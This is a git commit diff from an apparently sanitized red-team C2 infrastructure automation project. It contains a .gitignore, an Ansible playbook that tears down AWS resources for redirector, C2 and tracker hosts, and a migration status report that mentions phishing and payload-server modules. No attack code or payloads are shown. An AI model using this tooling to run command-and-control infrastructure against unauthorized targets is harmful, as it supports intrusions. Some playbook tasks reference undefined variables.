Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
+110
@@ -0,0 +1,110 @@
|
|||||||
|
vars.yaml
|
||||||
|
venv
|
||||||
|
deployment_*.log
|
||||||
|
deployment_info_*.txt
|
||||||
|
node_chunks_*.json
|
||||||
|
scanner_ips_*.txt
|
||||||
|
config.yml
|
||||||
|
logs/
|
||||||
|
domainhunter/
|
||||||
|
infrastructure_state_*.json
|
||||||
|
# OS-specific files
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
desktop.ini
|
||||||
|
|
||||||
|
# VS Code settings
|
||||||
|
.vscode/
|
||||||
|
.history/
|
||||||
|
|
||||||
|
# Node.js
|
||||||
|
node_modules/
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
package-lock.json
|
||||||
|
yarn.lock
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*.pyo
|
||||||
|
*.pyd
|
||||||
|
*.egg
|
||||||
|
*.egg-info/
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
.env
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
Pipfile.lock
|
||||||
|
|
||||||
|
# C# / .NET
|
||||||
|
bin/
|
||||||
|
obj/
|
||||||
|
*.user
|
||||||
|
*.suo
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
*.vsp
|
||||||
|
*.pidb
|
||||||
|
*.mdb
|
||||||
|
*.cache
|
||||||
|
*.pdb
|
||||||
|
|
||||||
|
# Java
|
||||||
|
*.class
|
||||||
|
*.jar
|
||||||
|
*.war
|
||||||
|
*.ear
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Logs and temp files
|
||||||
|
*.log
|
||||||
|
*.tmp
|
||||||
|
*.bak
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*.swn
|
||||||
|
*.orig
|
||||||
|
*.rej
|
||||||
|
|
||||||
|
# Secrets
|
||||||
|
.env.local
|
||||||
|
.env.*.local
|
||||||
|
.envrc
|
||||||
|
secrets.*
|
||||||
|
credentials.json
|
||||||
|
|
||||||
|
# GitHub Copilot
|
||||||
|
*.copilot*
|
||||||
|
|
||||||
|
# Test output
|
||||||
|
coverage/
|
||||||
|
.nyc_output/
|
||||||
|
test-output/
|
||||||
|
|
||||||
|
# IDEs and editors
|
||||||
|
.idea/
|
||||||
|
*.iml
|
||||||
|
*.code-workspace
|
||||||
|
|
||||||
|
# Others
|
||||||
|
*.sqlite3
|
||||||
|
*.db
|
||||||
|
*.tar.gz
|
||||||
|
*.zip
|
||||||
|
*.7z
|
||||||
|
*.tgz
|
||||||
|
|
||||||
|
# Ignore by file type (optional)
|
||||||
|
*.exe
|
||||||
|
*.dll
|
||||||
|
*.msi
|
||||||
|
*.apk
|
||||||
|
*.ipa
|
||||||
|
|
||||||
|
# Ignore personal scripts
|
||||||
|
scripts/dev/*
|
||||||
|
.claude/
|
||||||
+480
@@ -0,0 +1,480 @@
|
|||||||
|
---
|
||||||
|
# AWS Cleanup Playbook - Comprehensive version with robust VPC removal
|
||||||
|
- name: Clean up AWS resources
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
|
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
redirector_name: "{{ redirector_name | default('r-' + deployment_id) }}"
|
||||||
|
c2_name: "{{ c2_name | default('s-' + deployment_id) }}"
|
||||||
|
tracker_name: "{{ tracker_name | default('t-' + deployment_id) }}"
|
||||||
|
cleanup_summary: {}
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
# Confirmation step (if enabled)
|
||||||
|
- name: Confirm cleanup
|
||||||
|
pause:
|
||||||
|
prompt: "Are you sure you want to delete all AWS resources for deployment ID {{ deployment_id }}? This action cannot be undone. Type 'yes' to confirm"
|
||||||
|
register: cleanup_confirmation
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Check confirmation
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- cleanup_confirmation.user_input | default('yes') == 'yes'
|
||||||
|
fail_msg: "Cleanup cancelled by user"
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
# STEP 1: Find all instances by deployment ID
|
||||||
|
- name: Find all EC2 instances for this deployment
|
||||||
|
amazon.aws.ec2_instance_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
"tag:deployment_id": "{{ deployment_id }}"
|
||||||
|
register: deployment_instances
|
||||||
|
|
||||||
|
- name: Set fact for instances found
|
||||||
|
set_fact:
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({'instances_found': deployment_instances.instances | length}) }}"
|
||||||
|
|
||||||
|
# STEP 2: Terminate all instances with proper tagging
|
||||||
|
- name: Terminate all instances for this deployment
|
||||||
|
amazon.aws.ec2_instance:
|
||||||
|
instance_ids: "{{ item.instance_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ deployment_instances.instances }}"
|
||||||
|
register: terminated_instances
|
||||||
|
when: deployment_instances.instances | length > 0
|
||||||
|
|
||||||
|
- name: Wait for instances to be terminated
|
||||||
|
pause:
|
||||||
|
seconds: 30
|
||||||
|
when: deployment_instances.instances | length > 0
|
||||||
|
|
||||||
|
# STEP 3: Find all security groups by deployment ID
|
||||||
|
- name: Find all security groups for this deployment
|
||||||
|
amazon.aws.ec2_security_group_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
"tag:deployment_id": "{{ deployment_id }}"
|
||||||
|
register: deployment_sgs
|
||||||
|
|
||||||
|
# Also find SGs by name pattern
|
||||||
|
- name: Find security groups by name pattern
|
||||||
|
amazon.aws.ec2_security_group_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
register: all_sgs
|
||||||
|
|
||||||
|
- name: Filter SGs by name pattern
|
||||||
|
set_fact:
|
||||||
|
named_sgs: "{{ all_sgs.security_groups | selectattr('group_name', 'search', redirector_name + '-sg|' + c2_name + '-sg') | list }}"
|
||||||
|
|
||||||
|
- name: Combine all security groups to delete
|
||||||
|
set_fact:
|
||||||
|
all_sgs_to_delete: "{{ deployment_sgs.security_groups + named_sgs }}"
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({'security_groups_found': (deployment_sgs.security_groups + named_sgs) | length}) }}"
|
||||||
|
|
||||||
|
# STEP 4: Delete all security groups
|
||||||
|
- name: Delete security groups
|
||||||
|
amazon.aws.ec2_security_group:
|
||||||
|
group_id: "{{ item.group_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ all_sgs_to_delete }}"
|
||||||
|
when: all_sgs_to_delete | length > 0
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_sgs
|
||||||
|
|
||||||
|
# STEP 5: Find and delete all ENIs
|
||||||
|
- name: Find network interfaces by tag
|
||||||
|
amazon.aws.ec2_eni_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
"tag:deployment_id": "{{ deployment_id }}"
|
||||||
|
register: deployment_enis
|
||||||
|
|
||||||
|
- name: Delete ENIs
|
||||||
|
amazon.aws.ec2_eni:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
eni_id: "{{ item.id }}"
|
||||||
|
state: absent
|
||||||
|
force_detach: true
|
||||||
|
loop: "{{ deployment_enis.network_interfaces }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_enis
|
||||||
|
when: deployment_enis.network_interfaces | length > 0
|
||||||
|
|
||||||
|
- name: Set ENIs count in summary
|
||||||
|
set_fact:
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({'enis_found': deployment_enis.network_interfaces | length}) }}"
|
||||||
|
|
||||||
|
# STEP 6: Find all VPCs by deployment ID
|
||||||
|
- name: Find all VPCs for this deployment
|
||||||
|
amazon.aws.ec2_vpc_net_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
"tag:deployment_id": "{{ deployment_id }}"
|
||||||
|
register: deployment_vpcs
|
||||||
|
|
||||||
|
# STEP 7: Find VPCs by name pattern as fallback
|
||||||
|
- name: Find all VPCs by name pattern
|
||||||
|
amazon.aws.ec2_vpc_net_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
register: all_vpcs
|
||||||
|
|
||||||
|
- name: Filter VPCs by name pattern
|
||||||
|
set_fact:
|
||||||
|
named_vpcs: "{{ all_vpcs.vpcs | selectattr('tags', 'defined') | selectattr('tags.Name', 'defined') | selectattr('tags.Name', 'search', redirector_name + '-vpc|' + c2_name + '-vpc') | list }}"
|
||||||
|
|
||||||
|
- name: Combine all VPCs to delete
|
||||||
|
set_fact:
|
||||||
|
all_vpcs_to_delete: "{{ deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id') }}"
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({'vpcs_found': (deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id')) | length}) }}"
|
||||||
|
|
||||||
|
# STEP 8: Find and delete NAT Gateways for each VPC separately
|
||||||
|
- name: Find NAT gateways in each VPC
|
||||||
|
amazon.aws.ec2_vpc_nat_gateway_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
vpc-id: "{{ item.vpc_id }}"
|
||||||
|
register: natgw_results
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
- name: Delete NAT gateways
|
||||||
|
amazon.aws.ec2_vpc_nat_gateway:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
nat_gateway_id: "{{ item.1.nat_gateway_id }}"
|
||||||
|
state: absent
|
||||||
|
release_eip: true
|
||||||
|
loop: "{{ natgw_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('nat_gateways', 'defined') | subelements('nat_gateways') }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_natgws
|
||||||
|
when: natgw_results.results is defined
|
||||||
|
|
||||||
|
- name: Wait after NAT deletion
|
||||||
|
pause:
|
||||||
|
seconds: 15
|
||||||
|
when: deleted_natgws.results is defined and deleted_natgws.results | length > 0
|
||||||
|
|
||||||
|
# STEP 9: Find and delete Internet Gateways
|
||||||
|
- name: Find internet gateways for each VPC
|
||||||
|
amazon.aws.ec2_vpc_igw_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
attachment.vpc-id: "{{ item.vpc_id }}"
|
||||||
|
register: igw_results
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
- name: Detach and delete internet gateways
|
||||||
|
# Fix the reference to attachment - should use item.1.attachments or similar
|
||||||
|
ec2_vpc_igw:
|
||||||
|
vpc_id: "{{ item.1.attachments[0].vpc_id }}" # Fix this line
|
||||||
|
state: absent
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
with_together: "{{ find_igws.results|default([]) }}"
|
||||||
|
register: deleted_igws
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Wait after IGW deletion
|
||||||
|
pause:
|
||||||
|
seconds: 15
|
||||||
|
when: deleted_igws.results is defined and deleted_igws.results | length > 0
|
||||||
|
|
||||||
|
# STEP 10: Find and delete Route Tables
|
||||||
|
- name: Find route tables for each VPC
|
||||||
|
amazon.aws.ec2_vpc_route_table_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
vpc-id: "{{ item.vpc_id }}"
|
||||||
|
register: rtb_results
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
- name: Delete non-main route tables
|
||||||
|
amazon.aws.ec2_vpc_route_table:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
route_table_id: "{{ item.1.id }}"
|
||||||
|
lookup: id
|
||||||
|
state: absent
|
||||||
|
loop: "{{ rtb_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('route_tables', 'defined') | subelements('route_tables') }}"
|
||||||
|
when: not item.1.associations[0].main | default(false)
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_rtbs
|
||||||
|
|
||||||
|
# Add this after your existing route table deletion
|
||||||
|
- name: Delete main route tables with AWS CLI
|
||||||
|
shell: |
|
||||||
|
for rtb in $(aws ec2 describe-route-tables --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --query 'RouteTables[?Associations[?Main==`true`]].RouteTableId' --output text); do
|
||||||
|
aws ec2 delete-route --route-table-id $rtb --destination-cidr-block 0.0.0.0/0 --region {{ aws_region }} || true
|
||||||
|
done
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
# STEP 11: Find and delete Subnets
|
||||||
|
- name: Find subnets for each VPC
|
||||||
|
ec2_vpc_subnet_info:
|
||||||
|
filters:
|
||||||
|
vpc-id: "{{ item.vpc_id }}" # Fix this line, should be vpc_id not vpc_idvpc
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
with_items: "{{ all_vpcs_to_delete }}"
|
||||||
|
register: find_subnets
|
||||||
|
|
||||||
|
- name: Delete subnets
|
||||||
|
amazon.aws.ec2_vpc_subnet:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
vpc_id: "{{ item.1.vpc_id }}"
|
||||||
|
cidr: "{{ item.1.cidr_block }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ subnet_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('subnets', 'defined') | subelements('subnets') }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_subnets
|
||||||
|
when: subnet_results.results is defined
|
||||||
|
|
||||||
|
# STEP 12: Find and delete VPC Endpoints
|
||||||
|
- name: Find VPC endpoints for each VPC
|
||||||
|
amazon.aws.ec2_vpc_endpoint_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
vpc-id: "{{ item.vpc_id }}"
|
||||||
|
register: endpoint_results
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
- name: Delete VPC endpoints
|
||||||
|
amazon.aws.ec2_vpc_endpoint:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
vpc_endpoint_id: "{{ item.1.vpc_endpoint_id }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ endpoint_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('vpc_endpoints', 'defined') | subelements('vpc_endpoints') }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_endpoints
|
||||||
|
when: endpoint_results.results is defined
|
||||||
|
|
||||||
|
# Add before STEP 13
|
||||||
|
- name: Check for remaining VPC dependencies
|
||||||
|
shell: |
|
||||||
|
aws ec2 describe-network-interfaces --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --output json
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
register: remaining_deps
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
- name: Display any remaining dependencies
|
||||||
|
debug:
|
||||||
|
msg: "VPC {{ item.item.vpc_id }} still has dependencies that need to be removed"
|
||||||
|
loop: "{{ remaining_deps.results }}"
|
||||||
|
when: item.stdout | from_json | json_query('NetworkInterfaces') | length > 0
|
||||||
|
|
||||||
|
# Add this before the force delete of network interfaces
|
||||||
|
- name: Detach remaining network interfaces
|
||||||
|
shell: |
|
||||||
|
aws ec2 detach-network-interface --attachment-id $(aws ec2 describe-network-interfaces --network-interface-ids {{ item.1 }} --query 'NetworkInterfaces[0].Attachment.AttachmentId' --output text) --region {{ aws_region }} --force
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') |
|
||||||
|
map('attr', 'stdout') | map('from_json') |
|
||||||
|
map('json_query', 'NetworkInterfaces[?Status==`in-use`].NetworkInterfaceId') |
|
||||||
|
zip(remaining_deps.results | map('attr', 'item')) | list }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: item.0 | length > 0
|
||||||
|
|
||||||
|
- name: Force delete any remaining network interfaces
|
||||||
|
shell: |
|
||||||
|
aws ec2 delete-network-interface --network-interface-id {{ item.1 }} --region {{ aws_region }}
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') |
|
||||||
|
map('attr', 'stdout') | map('from_json') |
|
||||||
|
map('json_query', 'NetworkInterfaces[].NetworkInterfaceId') |
|
||||||
|
zip(remaining_deps.results | map('attr', 'item')) | list }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: item.0 | length > 0
|
||||||
|
|
||||||
|
# STEP 13: Final VPC deletion with multiple retries
|
||||||
|
- name: Wait for all dependencies to clear
|
||||||
|
pause:
|
||||||
|
seconds: 20
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
# First attempt with normal module - with error display
|
||||||
|
- name: Delete all VPCs (first attempt)
|
||||||
|
amazon.aws.ec2_vpc_net:
|
||||||
|
vpc_id: "{{ item.vpc_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ all_vpcs_to_delete }}"
|
||||||
|
register: vpc_deletion
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Display VPC deletion errors
|
||||||
|
debug:
|
||||||
|
msg: "Failed to delete VPC {{ item.item.vpc_id }}: {{ item.msg }}"
|
||||||
|
loop: "{{ vpc_deletion.results | default([]) }}"
|
||||||
|
when: item.failed is defined and item.failed
|
||||||
|
|
||||||
|
# Direct API call for any VPCs that failed
|
||||||
|
- name: Find which VPCs still exist
|
||||||
|
amazon.aws.ec2_vpc_net_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
vpc_ids: "{{ all_vpcs_to_delete | map(attribute='vpc_id') | list }}"
|
||||||
|
register: remaining_vpcs
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
# Forcibly delete with direct AWS CLI command
|
||||||
|
- name: Force delete remaining VPCs with CLI
|
||||||
|
shell: |
|
||||||
|
aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }}
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
loop: "{{ remaining_vpcs.vpcs }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0
|
||||||
|
register: force_vpc_delete
|
||||||
|
|
||||||
|
# Add after the VPC deletion attempts - more aggressive approach
|
||||||
|
- name: Force delete remaining VPCs with AWS CLI and debug output
|
||||||
|
shell: |
|
||||||
|
aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }} 2>&1 || echo "Failed with: $?"
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
loop: "{{ remaining_vpcs.vpcs }}"
|
||||||
|
register: force_vpc_delete_debug
|
||||||
|
when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0
|
||||||
|
|
||||||
|
- name: Display debug output from force delete
|
||||||
|
debug:
|
||||||
|
msg: "{{ item.stdout }}"
|
||||||
|
loop: "{{ force_vpc_delete_debug.results | default([]) }}"
|
||||||
|
when: item.stdout is defined and item.stdout | trim != ""
|
||||||
|
|
||||||
|
# Track deleted VPCs in summary
|
||||||
|
- name: Set VPC deletion results in summary
|
||||||
|
set_fact:
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({
|
||||||
|
'vpcs_deleted': ((vpc_deletion.results | default([]) | selectattr('failed', 'undefined') | list | length) + (force_vpc_delete.results | default([]) | selectattr('failed', 'undefined') | list | length))}) }}"
|
||||||
|
when: all_vpcs_to_delete | length > 0
|
||||||
|
|
||||||
|
# Add these tasks to confirm VPC deletion
|
||||||
|
- name: Verify VPC deletion
|
||||||
|
amazon.aws.ec2_vpc_net_info:
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
filters:
|
||||||
|
"tag:deployment_id": "{{ deployment_id }}"
|
||||||
|
register: vpc_check
|
||||||
|
|
||||||
|
- name: Display cleanup summary
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Cleanup Summary:"
|
||||||
|
- "Redirector instance deleted: {{ redirector_deleted | default('N/A') }}"
|
||||||
|
- "C2 instance deleted: {{ c2_deleted | default('N/A') }}"
|
||||||
|
- "VPC resources deleted: {{ vpc_check.vpcs | length == 0 }}"
|
||||||
|
when: not disable_summary | default(false)
|
||||||
|
|
||||||
|
# STEP 14: Delete key pairs
|
||||||
|
- name: Find key pairs by name patterns
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "{{ item }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: present
|
||||||
|
register: keys_check
|
||||||
|
ignore_errors: yes
|
||||||
|
with_items:
|
||||||
|
- "{{ redirector_name }}"
|
||||||
|
- "{{ c2_name }}"
|
||||||
|
- "{{ tracker_name }}"
|
||||||
|
|
||||||
|
- name: Delete key pairs
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "{{ item.invocation.module_args.name }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: absent
|
||||||
|
loop: "{{ keys_check.results }}"
|
||||||
|
when: keys_check.results | length > 0 and item.failed is not defined and item.key is defined
|
||||||
|
register: deleted_keys
|
||||||
|
|
||||||
|
- name: Count deleted keys
|
||||||
|
set_fact:
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({
|
||||||
|
'keypairs_deleted': (deleted_keys.results | default([]) | selectattr('changed', 'defined') | selectattr('changed') | list | length)}) }}"
|
||||||
|
|
||||||
|
# Add this after your existing key pair finding task
|
||||||
|
- name: Find c2deploy key pairs
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "c2deploy_{{ deployment_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: present
|
||||||
|
register: c2deploy_key_check
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Delete c2deploy key pairs
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "c2deploy_{{ deployment_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
state: absent
|
||||||
|
when: not c2deploy_key_check.failed | default(true)
|
||||||
|
register: deleted_c2deploy_key
|
||||||
|
|
||||||
|
# STEP 15: Delete SSH key files
|
||||||
|
- name: Delete SSH key files
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: absent
|
||||||
|
with_items:
|
||||||
|
- "~/.ssh/{{ redirector_name }}.pem"
|
||||||
|
- "~/.ssh/{{ c2_name }}.pem"
|
||||||
|
- "~/.ssh/{{ tracker_name }}.pem"
|
||||||
|
- "~/.ssh/c2deploy_{{ deployment_id }}.pem" # Fix: add .pem extension
|
||||||
|
- "~/.ssh/c2deploy_{{ deployment_id }}.pub"
|
||||||
|
ignore_errors: yes
|
||||||
|
register: deleted_ssh_files
|
||||||
|
|
||||||
|
- name: Count deleted SSH files
|
||||||
|
set_fact:
|
||||||
|
cleanup_summary: "{{ cleanup_summary | combine({
|
||||||
|
'ssh_files_deleted': (deleted_ssh_files.results | selectattr('changed', 'defined') | selectattr('changed') | list | length)}) }}"
|
||||||
|
|
||||||
|
# Remove infrastructure state file - fix path to include deployment_id
|
||||||
|
- name: Remove infrastructure state file
|
||||||
|
file:
|
||||||
|
path: "infrastructure_state_{{ deployment_id }}.json"
|
||||||
|
state: absent
|
||||||
|
ignore_errors: yes
|
||||||
|
register: infra_file
|
||||||
|
|
||||||
|
# STEP 16: Enhanced and Accurate Cleanup Summary
|
||||||
|
- name: Enhanced cleanup summary
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "=========================================================="
|
||||||
|
- " AWS CLEANUP SUMMARY: {{ deployment_id }} "
|
||||||
|
- "=========================================================="
|
||||||
|
- "EC2 Instances: {{ cleanup_summary.instances_found | default(0) }} found, {{ terminated_instances.results | default([]) | length }} terminated"
|
||||||
|
- "Security Groups: {{ cleanup_summary.security_groups_found | default(0) }} found, {{ deleted_sgs.results | default([]) | length }} deleted"
|
||||||
|
- "Network Interfaces: {{ cleanup_summary.enis_found | default(0) }} found, {{ deleted_enis.results | default([]) | length }} deleted"
|
||||||
|
- "VPCs: {{ cleanup_summary.vpcs_found | default(0) }} found, {{ cleanup_summary.vpcs_deleted | default(0) }} deleted"
|
||||||
|
- "Key Pairs: {{ cleanup_summary.keypairs_deleted | default(0) }} deleted"
|
||||||
|
- "SSH Key Files: {{ cleanup_summary.ssh_files_deleted | default(0) }} deleted"
|
||||||
|
- "Infrastructure file: {{ 'Removed' if infra_file.changed else 'Not found' }}"
|
||||||
|
- "=========================================================="
|
||||||
|
- "CLEANUP {{ 'COMPLETED' if (cleanup_summary.vpcs_deleted | default(0) == cleanup_summary.vpcs_found | default(0)) else 'PARTIAL - SOME RESOURCES MAY REMAIN' }}"
|
||||||
|
- "========================================================="
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
# C2itall Modular Migration - Status Report
|
||||||
|
|
||||||
|
## ✅ COMPLETED FIXES
|
||||||
|
|
||||||
|
### 1. Core Infrastructure
|
||||||
|
- **Created `utils/deployment_engine.py`** - Main deployment execution engine
|
||||||
|
- Handles provider environment setup
|
||||||
|
- Executes Ansible playbooks for different deployment types
|
||||||
|
- Creates temporary inventory files
|
||||||
|
- Generates deployment information logs
|
||||||
|
|
||||||
|
### 2. Cleanup & Teardown System
|
||||||
|
- **Created `utils/cleanup_engine.py`** - Complete teardown functionality
|
||||||
|
- Teardown by deployment ID
|
||||||
|
- Teardown all infrastructure with safety checks
|
||||||
|
- Parse deployment info from logs
|
||||||
|
- Archive logs after successful teardown
|
||||||
|
- SSH key cleanup for specific deployments
|
||||||
|
|
||||||
|
### 3. Updated Main Menu (`deploy.py`)
|
||||||
|
- **Real teardown functionality** - Now uses cleanup engine instead of placeholders
|
||||||
|
- **Functional deployment listing** - Reads deployment info files to show active deployments
|
||||||
|
- **Complete SSH key management** - Real functionality for cleaning SSH keys
|
||||||
|
|
||||||
|
### 4. Updated Module Integration
|
||||||
|
- **C2 Module** - Now uses deployment engine instead of placeholder functions
|
||||||
|
- **Redirector Module** - Now uses deployment engine instead of placeholder functions
|
||||||
|
- **Proper import structure** - All modules now correctly import and use shared utilities
|
||||||
|
|
||||||
|
### 5. Enhanced Utilities
|
||||||
|
- **SSH utilities** - Complete SSH key generation, management, and instance connection
|
||||||
|
- **Common utilities** - All missing functions from old version restored
|
||||||
|
- **Provider utilities** - Complete provider configuration gathering
|
||||||
|
|
||||||
|
### 6. Logging & Info Generation
|
||||||
|
- **Complete logging system** - Matches old version functionality
|
||||||
|
- **Deployment info generation** - Creates detailed deployment information files
|
||||||
|
- **Log archival** - Moves logs to archive after successful teardown
|
||||||
|
|
||||||
|
## ⚠️ STILL NEEDS ATTENTION
|
||||||
|
|
||||||
|
### 1. Provider-Specific Functions
|
||||||
|
Some provider utility functions may need verification:
|
||||||
|
- `utils/aws_utils.py` - Check all functions match old version
|
||||||
|
- `utils/linode_utils.py` - Check all functions match old version
|
||||||
|
- `utils/flokinet_utils.py` - Check all functions match old version
|
||||||
|
|
||||||
|
### 2. Module Completion
|
||||||
|
- **Phishing module** - May need similar deployment engine integration
|
||||||
|
- **Payload server module** - May need similar deployment engine integration
|
||||||
|
- **Other modules** - tracker, logging-server, etc. may need completion
|
||||||
|
|
||||||
|
### 3. Ansible Playbook Compatibility
|
||||||
|
- Verify that existing playbooks in `providers/*/` directories are compatible with new variable structure
|
||||||
|
- May need to update playbook variable names to match new configuration format
|
||||||
|
|
||||||
|
### 4. Multi-region & Cross-provider Deployment
|
||||||
|
- The old version had complex multi-region deployment logic that may need to be restored
|
||||||
|
- Cross-provider deployment functionality may need additional work
|
||||||
|
|
||||||
|
### 5. Testing & Validation
|
||||||
|
